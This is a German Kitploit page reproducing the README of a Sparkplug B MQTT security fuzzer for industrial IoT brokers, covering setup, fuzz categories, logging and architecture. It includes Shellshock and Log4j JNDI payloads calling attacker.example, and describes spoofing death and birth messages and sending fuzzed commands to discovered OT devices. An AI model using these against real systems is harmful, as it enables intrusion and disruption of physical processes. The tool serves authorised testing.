Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/bishopfox/sparkplugfuzzer
Dynamische Analyse (Sandboxing)IoT-SicherheitSchwachstellenanalyseSCADA/ICS-SicherheitFuzzingNetzwerksicherheitPenetrationstestsAuthentifizierung
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer für das Sparkplug-B-IIoT-Protokoll

Repository anzeigen
140vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Sparkplug B MQTT Security Fuzzer

Ein umfassendes Tool zur Sicherheitsbewertung für das Testen von Sparkplug B MQTT-Protokollimplementierungen. Der Fuzzer testet systematisch alle Protokollfelder über alle 9 Nachrichtentypen hinweg, entdeckt aktive Geräte im Netzwerk und erstellt detaillierte Protokolle zur Analyse.

Verantwortungsvolle Nutzung

Dieses Tool sendet fehlerhafte, Injection- und protokollverletzende MQTT-Nachrichten an einen Ziel-Broker. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Sparkplug B-Broker befinden sich häufig in OT/ICS-Umgebungen, in denen unerwartete Nutzdaten physische Prozesse stören können – gehen Sie davon aus, dass jedes Ziel in Produktionsnähe ist, sofern nicht anders nachgewiesen.

Wenn Sie mit diesem Tool eine Sicherheitslücke in einer Sparkplug B-Implementierung entdecken, befolgen Sie bitte die koordinierte Offenlegung mit dem betroffenen Anbieter. Um ein Sicherheitsproblem in diesem Tool selbst zu melden, siehe SECURITY.md.

Inhaltsverzeichnis

  • Überblick
  • Voraussetzungen
  • Installation
  • Schnellstart
  • Nutzung
    • Befehlszeilenoptionen
    • Fuzz-Kategorien
    • Beispiele
  • Funktionsweise
    • Ausführungsablauf
    • Netzwerkerkennung
    • Authentifizierungsbewertung
Tool herunterladen
  • Gezieltes Fuzzing
  • Ausführen der Tests
  • Ausgabe und Log-Analyse
    • Log-Format
    • Ergebnisse analysieren
  • Protokollabdeckung
    • Nachrichtentypen
    • Datentypen
    • Feldabdeckung
  • Architektur
  • Überblick

    Die Sparkplug B-Spezifikation definiert einen Themen-Namespace und ein Nutzlastformat, das auf MQTT und Google Protocol Buffers für industrielle IoT-Umgebungen (IIoT) basiert. Dieser Fuzzer bewertet die Sicherheit und Robustheit von Sparkplug B-Implementierungen, indem er:

    • Testen aller 19 Metrikdatentypen mit Grenzwerten und Überlaufbedingungen
    • Einschleusen bösartiger Zeichenfolgen (XSS, SQLi, Formatstrings, Path Traversal, Command Injection)
    • Erzeugen von Typinkonsistenzen zwischen deklarierten Datentypen und tatsächlichen Protobuf-Wertfeldern
    • Verletzen der Protokoll-Zustandsmaschinen-Reihenfolge (Daten vor Birth, doppelte Births, Daten nach Death)
    • Korrumpieren serialisierter Protobuf-Nutzlasten auf binärer Ebene
    • Spoofing von Birth/Death-Zertifikaten für entdeckte Netzwerkgeräte
    • Fuzzing von MQTT-Topic-Namespaces mit Sonderzeichen, Groß-/Kleinschreibungsvarianten und strukturellen Verletzungen

    Voraussetzungen

    • Python 3.8+
    • MQTT Broker — das zu testende Zielsystem (z.B. Mosquitto, HiveMQ, EMQX oder jeder Sparkplug B-fähige Broker)
    • Autorisierung — dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt

    Installation

    Auf modernen Debian/Ubuntu/Kali-Systemen (PEP-668) kann --setup nicht per pip install in das systemweite Python installieren – verwenden Sie stattdessen eine virtuelle Umgebung oder pipx. Der empfohlene Weg:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

    root@kitploit:~
    Oder führen Sie es mit `pipx run` aus, wenn Sie die Verwaltung der virtuellen Umgebung nicht selbst übernehmen möchten. Auf älteren Systemen ohne PEP-668-Erzwingung funktioniert `python3 sparkplug-fuzzer.py --setup` direkt.
    
    `--setup` wird:
    1. Pip-Abhängigkeiten installieren (`paho-mqtt`, `protobuf`)
    2. Einen festgelegten Tag des [Eclipse Tahu](https://github.com/eclipse/tahu)-Repository klonen (siehe `TAHU_REF` im Skript)
    3. Die Hilfsmodule `sparkplug_b.py` und `array_packer.py` kopieren
    4. `sparkplug_b.proto` in Python-Bindungen kompilieren (verwendet `protoc` falls verfügbar, fällt auf `grpcio-tools` zurück)
    5. Den Tahu-Klon bereinigen
    
    Nach der Einrichtung sollte Ihr Verzeichnis Folgendes enthalten:```
    sparkplug-fuzzer.py     # The fuzzer
    sparkplug_b.py          # Sparkplug B helper module (from Tahu)
    array_packer.py         # Array packing helper (from Tahu)
    sparkplug_b_pb2.py      # Generated protobuf bindings
    requirements.txt        # Python dependencies
    
    Manuelle Einrichtung (falls --setup nicht funktioniert)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

    Schnellstart```bash

    python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

    root@kitploit:~
    Dies wird:
    1. Eine Verbindung zum Broker unter `localhost:1883` herstellen
    2. 10 Sekunden lang zuhören, um vorhandene Sparkplug-Geräte zu erkennen
    3. Den Fuzzer als Sparkplug-Knoten/Gerät einrichten
    4. Alle 12 Fuzz-Kategorien (~635+ Testfälle) ausführen
    5. Erkannte Geräte mit gefälschten Nachrichten angreifen
    6. Ergebnisse in `sparkplug_fuzz.jsonl` schreiben
    
    ## Nutzung
    
    ### Kommandozeilenoptionen```
    python3 sparkplug-fuzzer.py [OPTIONS]
    
    OptionStandardBeschreibung
    -H, --hostlocalhostHostname oder IP des MQTT-Brokers
    -p, --port1883 (oder 8883 mit --tls)Port des MQTT-Brokers
    -u, --usernameKeinerMQTT-Benutzername (liest auch Umgebungsvariable MQTT_USERNAME)
    -P, --passwordKeinerMQTT-Passwort (liest auch MQTT_PASSWORD; - übergibt, um von stdin ohne Echo zu lesen)
    --tlsausVerbindung über TLS; Standard-Port wird 8883, wenn -p nicht gesetzt
    --cafileKeinerCA-Bundle für TLS-Serverzertifikatsprüfung
    --insecureausTLS-Hostname-/Zertifikatsprüfung überspringen (nur Testzwecke)
    -g, --groupSparkplug B DevicesSparkplug-Gruppen-ID, unter der sich der Fuzzer registriert
    -n, --nodeFuzzNodeSparkplug-Edge-Node-ID für den Fuzzer
    -d, --deviceFuzzDeviceSparkplug-Geräte-ID für den Fuzzer
    -c, --categoriesallLeerzeichen-getrennte Liste der auszuführenden Fuzz-Kategorien
    --discovery-time10Sekunden, um passiv auf Netzwerkerkennung zu lauschen
    --delay0.1Verzögerung in Sekunden zwischen Fuzz-Nachrichten

    Fuzz-Kategorien

    KategorieBeschreibungCa. Fälle
    boundaryMin/Max/Überlauf für alle 19 numerischen Datentypen, is_null mit Werten, Flag-Kombinationen~200
    stringInjection-Payloads (XSS, SQLi, Format-Strings, Path Traversal, Command Injection, Null-Bytes) in String-, Text-, UUID-, MetaData-Feldern und STATE-Nachrichten~100
    type_mismatchDeklarierter Datentyp vs. falsches Protobuf-Wertfeld, ungültige Datentypecodes, mehrere Oneof-Felder~150
    sequenceSequenzlücken, Duplikate, Rückwärtssequenzen, Überlauf, bdSeq-Konflikte zwischen NBIRTH/NDEATH~20
    timestampNull, max uint64, weit in Zukunft/Vergangenheit, Inkonsistenz zwischen Metrik- und Payload-Zeitstempel, DateTime-Extremwerte~15
    aliasDoppelte Aliase für verschiedene Metriken, extreme Alias-Werte, undefinierte Aliase in Datennachrichten~15
    orphanDaten/Befehle, die auf nicht existierende Geräte, Nodes, Gruppen verweisen; undefinierte Template-Referenzen~20
    orderingProtokollzustandsverletzungen: Daten vor Geburt, doppelte Geburten, Daten nach Tod, falsche Geburtenreihenfolge~15
    recursiveVerschachtelte PropertySet-Ketten (Tiefe 1–100), Längenkonflikte bei Key/Value, PropertySetList-Varianten~15
    datasetSpaltenanzahl-Konflikte, Zeilenelement-Konflikte, Typverletzungen, leere/riesige Datasets, Sonderzeichen in Spaltennamen~25
    malformedBinäre Protobuf-Korruption: Trunkierung, Bitflips, zufällige Bytes, überlange Varints, falsche Nachrichtenklassen~30
    topicGroß-/Kleinschreibungsvarianten, falsche Versionen, zusätzliche/fehlende Schrägstriche, Sonderzeichen, Wildcards in Topic-Strings~30

    Beispiele

    Alle Kategorien mit Authentifizierung ausführen:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

    root@kitploit:~
    **Übergeben Sie Anmeldedaten, ohne sie in `ps` offenzulegen:**```bash
    # Via environment
    MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
    
    # Or read password from stdin (getpass — no echo)
    python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
    

    Verbinden über TLS:```bash

    System trust store, default port 8883

    python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

    Custom CA bundle

    python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

    root@kitploit:~
    **Passive Authentifizierungsbewertung + aktive Schreibsonde:**```bash
    python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
    

    Nur injectionsbezogene Kategorien ausführen:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

    root@kitploit:~
    **Erweiterte Erkennung mit langsamer Taktung (Broker-Last minimieren):**```bash
    python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
    

    Benutzerdefinierte Gruppen-/Knotenidentität und Protokolldatei:```bash python3 sparkplug-fuzzer.py -H broker.local
    -g "Production Floor" -n "TestNode01" -d "TestDevice01"
    -l production_fuzz_results.jsonl -vv

    root@kitploit:~
    **Broker-Traffic in einem separaten Terminal überwachen:**```bash
    mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
    

    Abgeschottetes Setup mit einem vorab geklonten Tahu-Repo:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

    transfer ~/tahu to the air-gapped target, then on the target:

    python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

    root@kitploit:~
    **Ausgabelayout pro Durchlauf:**```bash
    # Default — directory is auto-named under ./sparkplug-runs/
    python3 sparkplug-fuzzer.py -H broker.local
    # -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
    
    # Explicit directory:
    python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
    

    Benutzerdefinierte String-Korpora

    Die integrierte STRING_FUZZ_VALUES deckt die klassischen Injektionskategorien ab (leere / riesige Zeichenketten, Nullbytes, Formatstrings, XSS, SQLi, Pfad-Traversal, Prototyp-Verschmutzung). Echte Einsätze benötigen oft Second-Order-Payloads, die auf das abzielen, was die Broker-Daten nachgelagert verarbeitet – Historiker, die Metriknamen durch die Shell leiten, Java-basierte SCADA-Hosts, die Werte in log4j einspeisen, Dashboards, die Tag-Namen in HTML rendern, usw.

    Das Flag --extra-string-payloads <FILE> fügt den integrierten ein zusätzliches Korpus hinzu. Format: ein Payload pro Zeile, UTF-8. Zeilen, die nur aus Leerzeichen bestehen, werden beibehalten (oft beabsichtigt beim Fuzzing); vollständig leere Zeilen werden entfernt. Das Flag fügt zur integrierten Liste hinzu, anstatt sie zu ersetzen, sodass die bestehende Abdeckung erhalten bleibt.```bash

    corpus.txt — Shellshock + Log4j JNDI prefixes

    cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

    python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

    root@kitploit:~
    Der Fuzzer gibt `[+] Extra string payloads: loaded N from <path>` beim Start aus, und jeder Payload wird an jeder Stelle ausgegeben, die `STRING_FUZZ_VALUES` durchläuft – hauptsächlich die Kategorie `string`, aber auch die String-typisierten Fälle des Typ-Mismatch-Generators.
    
    Harte Grenzen: 10 MB Dateigröße, 10.000 Payloads. Passen Sie `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` am Anfang des Skripts an, wenn Sie mehr benötigen (und das entsprechende Laufzeitbudget haben).
    
    ## v0.2 Versionshinweise
    
    - `--output-dir`-Flag plus automatisch erstellter Standard `./sparkplug-runs/<UTC-ts>_<host>/` — jeder Lauf landet in einem eigenen Verzeichnis, sodass Artefakte nicht zwischen Läufen kollidieren.
    - `--tahu-path`-Flag für `--setup` — zeigt auf ein lokales Klon von `eclipse/tahu` für luftdichte Testumgebungen, in denen ausgehende `git clone` blockiert ist. Die lokale Quelle wird bei der Bereinigung nie gelöscht.
    - Zeitstempel in Konsole + JSONL werden auf UTC mit explizitem `Z`-Suffix erzwungen, sodass die Kreuzkorrelation mit Broker-Logs ohne Zeitzonenarithmetik auskommt.
    - Der `paho.mqtt`-Logger wird standardmäßig auf WARNING gedrosselt; sichtbar auf INFO unter `-v`, DEBUG unter `-vv`. Die Client-Telemetrie pro Paket übertönt nicht mehr das Fuzz-Signal.
    - pytest-Test-Harness unter `tests/` — 23 Tests, die FuzzLogger, Topic-Helper, Ausgabepfadauflösung und `--tahu-path`-Validierung abdecken. Siehe [Tests ausführen](#running-the-tests).
    
    ## Tests ausführen
    
    Die Test-Harness deckt die netzwerkunabhängige Oberfläche ab (Logger-Korrektheit, Topic-Builder, Ausgabepfadauflösung, `--tahu-path`-Parsing) und läuft ohne installierten Broker, paho-mqtt oder protobuf.```bash
    pip install -r requirements-dev.txt
    pytest tests/
    

    Expected: 23 passed. Netzwerkabhängige Pfade (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) werden bewusst auf eine zukünftige Integrationstest-Schicht mit einem containerisierten Broker verschoben.

    Funktionsweise

    Ausführungsablauf```

    1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
    2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
    3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
    4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
    5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
    6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
    root@kitploit:~
    ### Netzwerkerkennung
    
    Während der Erkennungsphase abonniert der Fuzzer `spBv1.0/#` und hört auf den gesamten Sparkplug-Verkehr. Die Komponente `DeviceTracker` analysiert beobachtete Nachrichten, um eine Live-Netzwerkkarte zu erstellen:
    
    - **NBIRTH**-Nachrichten zeigen Edge-Knoten und deren Metrikdefinitionen (Name, Alias, Datentyp)
    - **DBIRTH**-Nachrichten zeigen Geräte und deren Metrikschemata
    - **NDEATH/DDEATH**-Nachrichten verfolgen den Lebenszyklusstatus von Knoten/Geräten
    - **STATE**-Nachrichten zeigen Host-Anwendungen und deren Online/Offline-Status
    
    Diese Karte wird in der gezielten Fuzzing-Phase verwendet, um kontextrelevante Angriffe gegen reale Geräte mit ihren tatsächlichen Metrikschemata zu senden.
    
    ### Authentifizierungsbewertung
    
    Wenn der Fuzzer ohne `-u/-P` eine Verbindung herstellt (und `MQTT_USERNAME`/`MQTT_PASSWORD` nicht gesetzt sind), leitet er allein aus der passiven Erkennung eine Broker-Authentifizierungsposition ab. Dies erzeugt ein einzelnes `AUTH_ASSESSMENT`-Ereignis im Log und eine gedruckte Zusammenfassung:
    
    | Signal | Bedeutung | Wie es abgeleitet wird |
    |---|---|---|
    | `anon_connect_accepted` | Broker akzeptierte CONNECT ohne Anmeldedaten | Der eigene CONNECT des Fuzzers war erfolgreich |
    | `anon_subscribe_accepted` | Broker leitet `spBv1.0/#` / `STATE/#` an anonyme Clients weiter | Mindestens eine RX-Nachricht traf während des Hörfensters ein |
    | `anon_publish_accepted` | Broker akzeptiert PUBLISH von anonymen Clients | Nur gesetzt, wenn `--probe-anon-write` übergeben wird; QoS=1-Probe + PUBACK-Wartezeit |
    | `unauth_endpoints` | Knoten / Geräte / Host-Anwendungen ohne Authentifizierung beobachtbar | Jede Entität in der entdeckten Netzwerkkarte (Authentifizierung wurde nie erzeugt) |
    
    Die QoS=1-Probe ist optional, da sie von passiv zu aktiv wechselt. Bei QoS=0 verwirft der Broker stillschweigend Nachrichten, die er ablehnen würde, daher erfordert die Bestätigung der Schreibakzeptanz das Lesen eines PUBACK.
    
    MQTT/Sparkplug haben keine Authentifizierung pro Endpunkt – Authentifizierung ist eine Angelegenheit auf Broker-Ebene. Daher wird "Endpunkte ohne Authentifizierung beobachtbar" als Liste von *Zielen, die ohne Kosten erreichbar sind* gemeldet, nicht als Eigenschaft der Endpunkte selbst.
    
    ### Gezieltes Fuzzing
    
    Nach systematischem Fuzzing zielt das Tool auf jedes entdeckte Gerät mit:
    
    1. **Gefälschte Todesmeldungen** — veröffentlicht NDEATH/DDEATH, um Abonnenten vorzutäuschen, dass Geräte offline gegangen sind
    2. **Gefälschte Geburtszertifikate** — veröffentlicht NBIRTH/DBIRTH, um entdeckte Knoten/Geräte zu imitieren
    3. **Befehlseinschleusung** — sendet NCMD/DCMD-Nachrichten mit Grenzwerten für jede bekannte Metrik und testet, ob das Ziel eingehende Befehle validiert
    4. **Rebirth-Befehle** — sendet `Node Control/Rebirth` NCMD, um Geräte zur erneuten Veröffentlichung ihrer Geburten zu veranlassen
    
    ## Ausgabe und Log-Analyse
    
    ### Log-Format
    
    Die Logdatei verwendet das JSON-Lines-Format (`.jsonl`) — ein JSON-Objekt pro Zeile, geeignet für die Analyse mit `jq`, Python oder jedem JSON-fähigen Tool.
    
    Nutzlasten größer als 64 KiB werden nicht hex-inline eingefügt; stattdessen trägt `payload_hex` `sha256:<digest>+len=<n>`, sodass das Log bei sehr großen Fuzz-Fällen begrenzt bleibt. `payload_len` ist immer vorhanden.
    
    **TX-Datensatz** (ausgehende Fuzz-Nachricht):```json
    {
      "ts": "2026-04-10T15:30:00.123456Z",
      "dir": "TX",
      "case_id": "BOUNDARY-0042",
      "category": "boundary",
      "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
      "payload_hex": "0800120a0a06...",
      "payload_len": 28,
      "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
      "description": "Boundary Int32 = 2147483647 (int_value)"
    }
    

    RX record (eingehende Nachricht vom Netzwerk):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

    root@kitploit:~
    **Ereignisaufzeichnung** (Systemereignis):```json
    {
      "ts": "2026-04-10T15:29:50.000000Z",
      "dir": "EVENT",
      "event": "DISCOVERY_COMPLETE",
      "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
    }
    

    Ergebnisse analysieren

    Fälle nach Kategorie zählen:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

    root@kitploit:~
    **Alle Fälle von String-Injection extrahieren:**```bash
    jq 'select(.category == "string")' sparkplug_fuzz.jsonl
    

    Liste aller entdeckten Geräte:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

    root@kitploit:~
    **Finde Fälle, die Broker-Trennungen ausgelöst haben:**```bash
    jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
    

    Das Authentifizierungs-Assessment durchführen:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

    root@kitploit:~
    **Liste der Endpunkte, die ohne Authentifizierung erreichbar sind:**```bash
    jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
    

    TX-Anzahl im Zeitverlauf abrufen (für die Ratenanalyse):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

    root@kitploit:~
    **Alle Themen exportieren, die veröffentlicht wurden an:**```bash
    jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
    

    Analysieren mit Python:```python import json

    with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

    tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

    print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

    Find any decode errors in received messages (possible crash indicators)

    errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

    root@kitploit:~
    ## Protokollabdeckung
    
    ### Nachrichtentypen
    
    Alle 9 Sparkplug B-Nachrichtentypen werden getestet:
    
    | Nachrichtentyp | Topic-Muster | Beschreibung | Fuzzer-Nutzung |
    |---|---|---|---|
    | NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Geburtszertifikat für Knoten | Stellt Fuzzer-Präsenz her; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
    | NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Todesbenachrichtigung für Knoten | MQTT-Letzter Wille; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
    | DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Geburtszertifikat für Gerät | Stellt Fuzzer-Gerät her; wird für entdeckte Geräte gefälscht; Reihenfolgetests |
    | DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Todesbenachrichtigung für Gerät | Wird für entdeckte Geräte gefälscht; Reihenfolgetests; Waisentests |
    | NDATA | `spBv1.0/{group}/NDATA/{node}` | Datenaktualisierung für Knoten | Grenzwerte; Sequenznummern; Reihenfolgetests |
    | DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Datenaktualisierung für Gerät | Primäres Fahrzeug für die meisten Fuzz-Kategorien |
    | NCMD | `spBv1.0/{group}/NCMD/{node}` | Knotenbefehl | Gezieltes Fuzzing (Neugeburt-Befehle); Waisentests |
    | DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Gerätebefehl | Gezieltes Fuzzing gegen entdeckte Gerätemetriken; Waisentests |
    | STATE | `STATE/{host_id}` | Host-Anwendungsstatus (JSON) | Fehlerhafte JSON-Injektion |
    
    ### Datentypen
    
    Alle 19 Sparkplug B-Metrikdatentypen werden mit typspezifischen Grenzwerten getestet:
    
    | Code | Typ | Protobuf-Feld | Getestete Grenzwerte |
    |------|------|---------------|----------------------|
    | 1 | Int8 | int_value | 0, -128, 127, 128 (Überlauf), -129 (Unterlauf) |
    | 2 | Int16 | int_value | 0, -32768, 32767, Überlauf/Unterlauf |
    | 3 | Int32 | int_value | 0, -2^31, 2^31-1, Überlauf/Unterlauf |
    | 4 | Int64 | long_value | 0, -2^63, 2^63-1, Überlauf |
    | 5 | UInt8 | int_value | 0, 255, 256, -1 |
    | 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
    | 7 | UInt32 | int_value | 0, 4294967295, -1 |
    | 8 | UInt64 | long_value | 0, 2^64-1, -1 |
    | 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
    | 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
    | 11 | Boolean | boolean_value | True, False; auch mit rohen Integer-Werten getestet (0, 1, 2, 255) |
    | 12 | String | string_value | Leer, lang (bis zu 64 KB), Injection-Payloads |
    | 13 | DateTime | long_value | Epoche, max, weit in Zukunft/Vergangenheit |
    | 14 | Text | string_value | Gleiche Injection-Payloads wie String |
    | 15 | UUID | string_value | Leer, gültig, ungültiges Format, Injektionen |
    | 16 | DataSet | dataset_value | Strukturverletzungen über DataSet-Kategorie |
    | 17 | Bytes | bytes_value | Leer, Nullbytes, zufällig, groß |
    | 18 | File | bytes_value | Leer, Magic Bytes, groß |
    | 19 | Template | template_value | Undefinierte Referenzen, verwaiste Vorlagen |
    
    ### Feldabdeckung
    
    Der Fuzzer deckt 87+ eindeutige Protobuf-Feldpfade ab, einschließlich:
    
    - **Payload-Stammfelder**: timestamp, seq, uuid, body, metrics
    - **Metrikfelder**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, und alle value oneof-Varianten
    - **MetaData-Felder**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
    - **PropertySet/PropertyValue**: keys, values, type, is_null, rekursives propertyset_value, propertysets_value
    - **DataSet**: num_of_columns, columns, types, rows, elements, alle DataSetValue-Varianten
    - **Template**: version, template_ref, is_definition, verschachtelte Metriken, Parameter
    
    ## Architektur
    
    Der Fuzzer ist eine einzelne Python-Datei, die in folgende Komponenten organisiert ist:```
    sparkplug-fuzzer.py
        |
        +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
        |       Type definitions and fuzz value tables
        |
        +-- FuzzLogger
        |       JSON-lines file logging + console output
        |       Protobuf payload decoding
        |
        +-- DeviceTracker
        |       Passive network discovery
        |       Tracks groups, nodes, devices, metrics
        |
        +-- PayloadBuilder
        |       Valid payload construction (sparkplug_b helpers)
        |       Raw payload construction (sparkplug_b_pb2 direct)
        |       Binary corruption (truncate, flip, append)
        |
        +-- 12 Fuzz Generators
        |       Each is a Python generator yielding (topic, bytes, desc)
        |       Covers boundary, string, type, seq, timestamp, alias,
        |       orphan, ordering, recursive, dataset, malformed, topic
        |
        +-- SparkplugFuzzer
        |       Orchestration: connect, discover, fuzz, target, report
        |       Centralized publish with logging
        |       Auto-reconnect on disconnect
        |
        +-- CLI (argparse) + main()
                Argument parsing and entry point
    

    Die zweistufige Payload-Konstruktion ist eine zentrale Designentscheidung:

    • High-Level (PayloadBuilder.node_birth(), etc.) verwendet sparkplug_b Hilfsfunktionen, um gültige, wohlgeformte Payloads zu erstellen. Wird verwendet, um Präsenz zu etablieren und gezieltes Spoofing durchzuführen.
    • Low-Level (PayloadBuilder.raw_payload(), corrupt_bytes()) manipuliert direkt sparkplug_b_pb2 Protobuf-Objekte oder Rohbytes, unter Umgehung der Validierung. Wird für absichtlich fehlerhafte Payloads verwendet, die die Fehlerbehandlung und Randfälle des Parsers testen.

    License

    This project is licensed under the MIT License — see LICENSE for the full text.

    Third-Party

    sparkplug-fuzzer.py --setup lädt die folgenden Komponenten von Eclipse Tahu zur Installationszeit herunter und kopiert sie in das Arbeitsverzeichnis:

    • sparkplug_b.py — Sparkplug B Hilfsmodul
    • array_packer.py — Hilfsprogramm zum Packen von Arrays
    • sparkplug_b.proto — Protocol Buffer-Definition (wird verwendet, um sparkplug_b_pb2.py zu generieren)

    Eclipse Tahu wird unter der Apache License, Version 2.0 vertrieben. Keine der Tahu-Quelldateien werden in diesem Repository weiterverteilt. Siehe NOTICE für die vollständige Quellenangabe.

    --probe-anon-writeausWährend der Erkennung ein QoS=1-Publish senden, um zu bestätigen, ob der Broker unauthentifiziertes PUBLISH akzeptiert
    -l, --logsparkplug_fuzz.jsonlName der Ausgabeprotokolldatei (relative Pfade landen in --output-dir; absolute Pfade werden unverändert übernommen)
    --output-dir./sparkplug-runs/<UTC-ts>_<host>/Ausgabeverzeichnis pro Durchlauf. Wird erstellt, falls nicht vorhanden.
    -v, --verbose0Konsolen-Ausführlichkeit erhöhen (-v = info, -vv = debug). -vv zeigt auch Fuzz-Generator-Überspringungen an, und der gedrosselte paho.mqtt-Logger wird je nach Ausführlichkeit auf INFO/DEBUG gesetzt.
    --setup—Alle Abhängigkeiten installieren und beenden
    --tahu-path—Pfad zu einem lokalen Klon von eclipse/tahu (oder dem python/core-Verzeichnis). Wird von --setup in abgeschotteten Umgebungen anstelle von git clone verwendet.
    --extra-string-payloads—Pfad zu einer Datei mit zusätzlichen String-Injection-Payloads (eine pro Zeile, UTF-8). Wird an die integrierten STRING_FUZZ_VALUES angehängt; ersetzt diese nicht. Maximal 10 MB / 10.000 Payloads. Siehe Benutzerdefinierte String-Korpora.